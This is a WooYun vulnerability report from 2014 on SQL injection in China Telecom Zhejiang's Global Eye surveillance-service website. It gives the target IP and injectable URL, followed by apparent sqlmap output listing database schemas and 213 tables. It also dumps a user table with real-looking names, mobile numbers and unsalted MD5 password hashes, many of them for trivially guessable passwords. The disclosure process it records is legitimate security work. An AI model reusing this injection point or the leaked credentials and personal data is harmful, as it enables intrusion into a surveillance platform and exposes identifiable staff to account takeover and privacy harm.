当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061551

漏洞标题：中国电信浙江分公司-全球眼业务官网存在sql注射

相关厂商：中国电信浙江分公司

漏洞作者： 雅柏菲卡

提交时间：2014-05-30 11:46

修复时间：2014-07-14 11:47

公开时间：2014-07-14 11:47

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-30： 细节已通知厂商并且等待厂商处理中
2014-06-04： 厂商已经确认，细节仅向厂商公开
2014-06-14： 细节向核心白帽子及相关领域专家公开
2014-06-24： 细节向普通白帽子公开
2014-07-04： 细节向实习白帽子公开
2014-07-14： 细节向公众公开

简要描述：

..........

详细说明：

........

漏洞证明：

http://122.228.154.140/showNews!goAllExamplePage.action?showNewsDomain.newstype=3&showNewsParam.newstype=3
available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MSPDB
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] VTTD
[*] WMSYS
[*] XDB
Database: VTTD
[213 tables]
+----------------------------+
| AB_RECV                    |
| AB_RECV_HIS                |
| AB_SEND                    |
| ALARMDETAIL                |
| ALARMINFO                  |
| ALARMINFOITEMS             |
| AREACUMENU                 |
| AREACUSTOMMAP              |
| AREAINFO                   |
| AREAJOBMENU                |
| AREAMAPPING                |
| AREAMENU                   |
| AREAPLATFORMMAPPING        |
| AREASYSJOB                 |
| AREAUSER                   |
| AUTHPHONE                  |
| CARINFO                    |
| CARINFO_BJ                 |
| CARINFO_WZ                 |
| CARINFO_ZJDX               |
| CENTERRECORDCONFIG         |
| CENTERSTORECONFIG          |
| CITYINFO                   |
| CRUISEINFO                 |
| CRUISEPRESETS              |
| CTNTINFO                   |
| CUMENU                     |
| CUSTOM                     |
| CUSTOMAREA                 |
| CUSTOMCUMENU               |
| CUSTOMHIS                  |
| CUSTOMLOGINLIMIT           |
| CUSTOMRIGHT                |
| CUSTOMTASK                 |
| CUSTOMTASKHIS              |
| DATADICT                   |
| DBSVERSION                 |
| DEVICEINFO                 |
| DEVICEINFOEX               |
| DEVICEPERFORMANCEHIS       |
| DEVICEPERFORMANCEHISBAK    |
| DEVICEPERFORMANCEHISMONTH  |
| DEVICEPERFORMANCEHISWEEK   |
| DEVICEPERFORMANCEHISYEAR   |
| DEVICESERVICERELATION      |
| DEVPERFSTAT                |
| DEVPERFSTATEX              |
| DIRECTSTORECONFIG          |
| DIRECTSTORECONFIG_HIS      |
| DIRECTSTOREDISK            |
| DOMAIN                     |
| ECPGEUSER                  |
| ENTERPRISEINFO             |
| EQUIPTYPE                  |
| ERRORMESSAGE               |
| EXCEPTIONREPORT            |
| FILEUPLOAD                 |
| GEACCOUNT                  |
| GEUSER                     |
| GEUSERHIS                  |
| GPSALARMPARAMS             |
| GPSPUS                     |
| GRANTCUSTOMRIGHT           |
| HY_RECV                    |
| HY_SEND                    |
| INTERFACE_CUSTOM           |
| INTERFACE_CUST_ACCP        |
| INTERFACE_CUST_ACCP_HIS    |
| INTERFACE_SERVICE          |
| INTERFACE_SERVICE_ACCP     |
| INTERFACE_SERVICE_ACCP_HIS |
| KJ_ALARM                   |
| KJ_STORECONFIG             |
| LOGINFO                    |
| LOGINFO_MCU                |
| LOGININFO                  |
| MAINTAINFACTORY            |
| MAPINFO                    |
| MAPPOINT                   |
| MCU_VERSIONINFO            |
| MEGAEYESOBJECTS            |
| MENUBUTTON                 |
| MENUINFO                   |
| MONITORYPOINT              |
| MONITORYPOINTHIS           |
| MONITORYPOINT_HIS          |
| MPCRUISES                  |
| MPRECORDLINKAGE            |
| MPRECORETASKHIS            |
| MPUSER                     |
| MPUSERLOGINLIMIT           |
| MPVIDEOLINKAGE             |
| NEEDSENDGPSDATA            |
| NEEDSENDGPSDATA_BJ         |
| NEEDSENDGPSDATA_TEST       |
| NEEDSENDGPSDATA_WZ         |
| NEEDSENDGPSDATA_ZJDX       |
| NEEDSENDGPSDATA_ZJDX_WZ    |
| NEWSISSUE                  |
| NM_ALARMINFO               |
| NM_ALARMINFOBAK            |
| NM_AREAINFO                |
| NM_DOMAIN                  |
| NM_LOGINFO                 |
| NM_ROLEINFO                |
| NM_ROLEMANAGERANGE         |
| NM_SUBSCRIBEALARMINFO      |
| NM_TESTCUPU                |
| NM_USER                    |
| NM_USERROLERELATION        |
| NM_USERTEMPLATE            |
| NM_USERTEMPMANAGERANGE     |
| NSINFO                     |
| NSSHAREDIR                 |
| ORAMODULEINFO              |
| ORAMONITORITEM             |
| ORAMONITORSQL              |
| OSMONITORITEMINFO          |
| OSTYPEINFO                 |
| PERFORMANCETHRESHOLD       |
| PLATFORMDEVICE             |
| PLATFORMINFO               |
| PLATFORMSTAT               |
| PREACCEPTANCE              |
| PRESETINFO                 |
| PRIVATEGROUPMPLIST         |
| PRIVATEMPGROUP             |
| PUALARM                    |
| PUALARMPARAMS              |
| PUALARMTEMPLATE            |
| PUALARM_HIS                |
| PUALARM_MAIN               |
| PUALARM_OVERSPEED          |
| PUALARM_RECORD             |
| PUBLICGROUP                |
| PUBLICGROUPMODIFY          |
| PUBLICGROUPMPLIST          |
| PUBLICMPGROUP              |
| PUCOORDINATE               |
| PUCOORDINATE_HIS           |
| PUINFO                     |
| PUINFO_HIS                 |
| PUONLINESTATUS             |
| PUONLINESTATUSHIS          |
| PUONLINETIME               |
| PUPERFORMANCEHIS           |
| PUROLERIGHT                |
| PU_PERF_HIS                |
| QUSER                      |
| QXT_SEND                   |
| RECORDFILE                 |
| RECORDTASK                 |
| RECORDTASKITEMS            |
| RECORDTIME                 |
| ROLEINFO                   |
| ROLEMPRIGHT                |
| ROLEPUAUDIORIGHT           |
| ROLESOFTRIGHT              |
| ROLEWARNINRIGHT            |
| ROLEWARNOUTRIGHT           |
| ROLEWARNRIGHT              |
| SCRT_CI_CNTCT_INFO         |
| SCRT_CI_CNTCT_LINK_CI_MP   |
| SCRT_CI_MP                 |
| SCRT_CUST_INFO             |
| SCRT_SYSTEM_LOG            |
| SCRT_SYSTEM_PARAMETERS     |
| SERVERDOMAIN               |
| SERVICEINFO                |
| SERVICEMONITORITEM         |
| SERVICEPERFORMANCEHIS      |
| SERVICEPERFORMANCEHISBAK   |
| SERVICEPERFORMANCEHISMONTH |
| SERVICEPERFORMANCEHISWEEK  |
| SERVICEPERFORMANCEHISYEAR  |
| SERVICESPROVIDERINFO       |
| SERVICETEMPLATE            |
| SHAREDMONITORYPOINT        |
| SHAREDMONITORYPOINT_HIS    |
| SHAREDPOINTFORCMS          |
| SHAREDPOINTFROMCMS         |
| SMSCONFIGURE               |
| SMSCONFIGURETIMES          |
| SMSRECV                    |
| SMSRECV_HIS                |
| SMSSEND                    |
| SMSSEND_HIS                |
| SMSURL                     |
| SMSUSER                    |
| SOFTSERVER                 |
| STREETINFO                 |
| SYSERROR                   |
| SYSPRO_EXINFO              |
| SYSTEMPARAMS               |
| TASKPOINT                  |
| TEMPPERFHIS                |
| USERACTRECORD              |
| USERGROUP                  |
| USERMPGROUP                |
| USERMPPREVIEWGROUP         |
| USERONLINESTATUS           |
| USERPREPOSITION            |
| USERPREVIEWGROUP           |
| USERPUGROUP                |
| USERRECORDOPERS            |
| USERROLE                   |
| VAU3GFLOW                  |
| VIDEOPARAM                 |
| VIDEORECYCLE               |
| VIDICON                    |
| WARNINCHANNEL              |
| WARNOUTCHANNEL             |
| Z_UPDATE_LATITUDE          |
+----------------------------+
Database: VTTD
Table: AREAUSER
[52 entries]
+--------+-------------+--------------------+---------+-------------+-------+---------+-------------+--------+-------------------+---------------+-------------+--------------------+-----------+----------------+----------------------------------+
| AREAID | CREATEDDATE | CREATOR            | DEPT    | DESCRIPTION | JOBID | MPRIGHT | PHONE       | STATUS | STORAGECAPABILITY | STORAGELENGTH | USERACCOUNT | USERID             | USERLEVEL | USERNAME       | USERPWD                          |
+--------+-------------+--------------------+---------+-------------+-------+---------+-------------+--------+-------------------+---------------+-------------+--------------------+-----------+----------------+----------------------------------+
| 01     | 17-AUG-11   | 000001300000000001 | NULL    | NULL        | 10    | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000001 | NULL      | test           | 25d55ad283aa400af464c76d713c07ad |
| 01     | 14-JUN-12   | 000001300000000001 | NULL    | NULL        | 20    | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000002 | NULL      | yjdx           | e10adc3949ba59abbe56e057f20f883e |
| 01     | 25-OCT-12   | 000001300000000006 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000004 | NULL      | 信产公司支撑中心维护专用账号 | b1d50d7305f60c0f9b80e13cadf188e9 |
| 01     | 02-MAY-13   | 000101300000000007 | 温州电信ICT | NULL        | 22    | 1       | 15305772050 | A      | NULL              | NULL          | None        | 000001300000000006 | NULL      | 瞿乐野            | ad87be9af966cdd39ebd94ff556c4504 |
| 01     | 15-JAN-13   | 000001300000000001 | 温州市建设局  | NULL        | 21    | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000008 | NULL      | 温州市建设局管理员      | c93ccd78b2076528346216b3b2f701e6 |
| 01     | 28-MAR-13   | 000001300000000001 | NULL    | NULL        | 12    | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000010 | NULL      | 信产维护           | e7139bb0416c54c2e1aede8d249a9e73 |
| 01     | 05-JUN-13   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000011 | NULL      | dongzhengyu    | d38e0142063122199eccb745054b63a2 |
| 01     | 08-SEP-11   | 000101300000000007 | NULL    | NULL        | 18    | 1       | 15305779902 | A      | NULL              | NULL          | None        | 000001300000000012 | NULL      | 高一岗            | e10adc3949ba59abbe56e057f20f883e |
| 01     | 14-MAR-11   | 000101300000000007 | NULL    | NULL        | 17    | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000013 | NULL      | 江城运输           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 01     | 08-SEP-11   | 000101300000000007 | 洞头管理员   | NULL        | 19    | 1       | 15305772567 | A      | NULL              | NULL          | None        | 000001300000000014 | NULL      | 洞头许声杰          | 81dc9bdb52d04dc20036dbd8313ed055 |
| 01     | 30-DEC-11   | 000001300000000006 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000001300000000015 | NULL      | 王华             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 12-JUN-12   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000002300000000000 | NULL      | 演示             | bd62256ac39f3a8e27588c65d49b73d7 |
| 0101   | 19-APR-13   | 000101300000000007 | NULL    | NULL        | 22    | 1       | 15305772050 | A      | NULL              | NULL          | None        | 000101300000000000 | NULL      | 1234           | de88e3e4ab202d87754078cbb2df6063 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000001 | NULL      | 肖俊             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000002 | NULL      | 陈晓峰            | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000003 | NULL      | 1              | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000004 | NULL      | 1              | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000005 | NULL      | 周建             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-NOV-09   | 000101300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000006 | NULL      | 瞿乐野            | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 28-OCT-10   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000007 | NULL      | 信产巡检           | e10adc3949ba59abbe56e057f20f883e |
| 0101   | 29-DEC-09   | 000101300000000007 | NULL    | NULL        | 2     | 0       | NULL        | A      | NULL              | NULL          | None        | 000101300000000009 | NULL      | 1              | e10adc3949ba59abbe56e057f20f883e |
| 0101   | 30-DEC-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000010 | NULL      | 杜主任            | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 22-MAR-10   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000011 | NULL      | 肖绍龙            | 12b68ddeb7c4ae940528aa6a2411bfce |
| 0101   | 10-FEB-10   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000012 | NULL      | 夏维             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 23-MAR-10   | 000101300000000007 | NULL    | NULL        | 3     | 0       | NULL        | A      | NULL              | NULL          | None        | 000101300000000013 | NULL      | 瑞安             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 24-MAR-10   | 000101300000000007 | NULL    | NULL        | 8     | 0       | NULL        | A      | NULL              | NULL          | None        | 000101300000000014 | NULL      | 乐清             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 07-JUN-11   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000015 | NULL      | 丁立             | 1c63129ae9db9c60c3e8aa94d3e00495 |
| 0101   | 20-APR-10   | 000101300000000007 | NULL    | NULL        | 5     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000016 | NULL      | 李庆维            | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 29-APR-10   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000017 | NULL      | 信产维护           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 22-APR-10   | 000001300000000001 | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000018 | NULL      | 瑞安电信           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101   | 18-DEC-12   | 000001300000000001 | 交警      | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000019 | NULL      | None           | ed805bc82fd1dfac190d161bde33dc52 |
| 0101   | 12-JUL-10   | 000101300000000007 | 安保部     | NULL        | 2     | 1       | 15305771956 | A      | NULL              | NULL          | None        | 000101300000000020 | NULL      | 闫好喜            | e10adc3949ba59abbe56e057f20f883e |
| 0101   | 21-DEC-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000021 | NULL      | 实业吴一超          | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | NULL        | NULL               | NULL    | NULL        | 1     | 1       | NULL        | A      | NULL              | NULL          | None        | 000101300000000022 | NULL      | 浙江电信           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | 30-DEC-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010101300000000000 | NULL      | 轻松             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | 15-MAR-10   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010101300000000001 | NULL      | 林剑             | c33367701511b4f6020ec61ded352059 |
| 010102 | 13-APR-10   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010101300000000002 | NULL      | 王红卫            | e10adc3949ba59abbe56e057f20f883e |
| 010115 | 24-MAY-10   | 000101300000000007 | NULL    | NULL        | 10    | 1       | NULL        | A      | NULL              | NULL          | None        | 010102300000000000 | NULL      | 瑞安             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010135 | 09-JUN-10   | 000001300000000001 | NULL    | NULL        | 12    | 1       | NULL        | A      | NULL              | NULL          | None        | 010115300000000000 | NULL      | 乐清电信           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010136 | 12-DEC-10   | 000001300000000001 | NULL    | NULL        | 13    | 1       | NULL        | A      | NULL              | NULL          | None        | 010135300000000000 | NULL      | green          | 827ccb0eea8a706c4c34a16891f84e7b |
| 010136 | 12-NOV-09   | 000001300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010136300000000000 | NULL      | 浙江信产           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010137 | 12-NOV-09   | 000001300000000001 | NULL    | NULL        | 3     | 1       | NULL        | A      | NULL              | NULL          | None        | 010136300000000001 | NULL      | 瑞安电信           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010138 | 19-NOV-09   | 000001300000000001 | NULL    | NULL        | 4     | 1       | NULL        | A      | NULL              | NULL          | None        | 010137300000000000 | NULL      | 1              | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010139 | 20-NOV-09   | 000001300000000001 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010138300000000000 | NULL      | wzdx           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010142 | 25-NOV-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010139300000000000 | NULL      | 信厂             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010147 | 27-NOV-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010142300000000000 | NULL      | 1234           | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010147 | 03-DEC-09   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010147300000000000 | NULL      | 1              | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010149 | 07-DEC-09   | 000001300000000001 | NULL    | NULL        | 6     | 1       | NULL        | A      | NULL              | NULL          | None        | 010147300000000001 | NULL      | 平阳             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010150 | 24-DEC-09   | 000101300000000003 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010149300000000001 | NULL      | 普通测试           | 83422503bcfc01d303030e8a7cc80efc |
| 012151 | 30-JUN-10   | 000101300000000007 | NULL    | NULL        | 2     | 1       | NULL        | A      | NULL              | NULL          | None        | 010150300000000000 | NULL      | 赵颖武            | 81dc9bdb52d04dc20036dbd8313ed055 |
| 012151 | 05-AUG-10   | 000101300000000007 | NULL    | NULL        | 3     | 1       | NULL        | A      | NULL              | NULL          | None        | 012151300000000000 | NULL      | 慈林             | 81dc9bdb52d04dc20036dbd8313ed055 |
| 02     | 14-MAR-11   | 000101300000000007 | NULL    | NULL        | 16

修复方案：

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-06-04 10:15

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT直接通报中国电信集团公司，由其后续下发给省公司处置。

最新状态：

暂无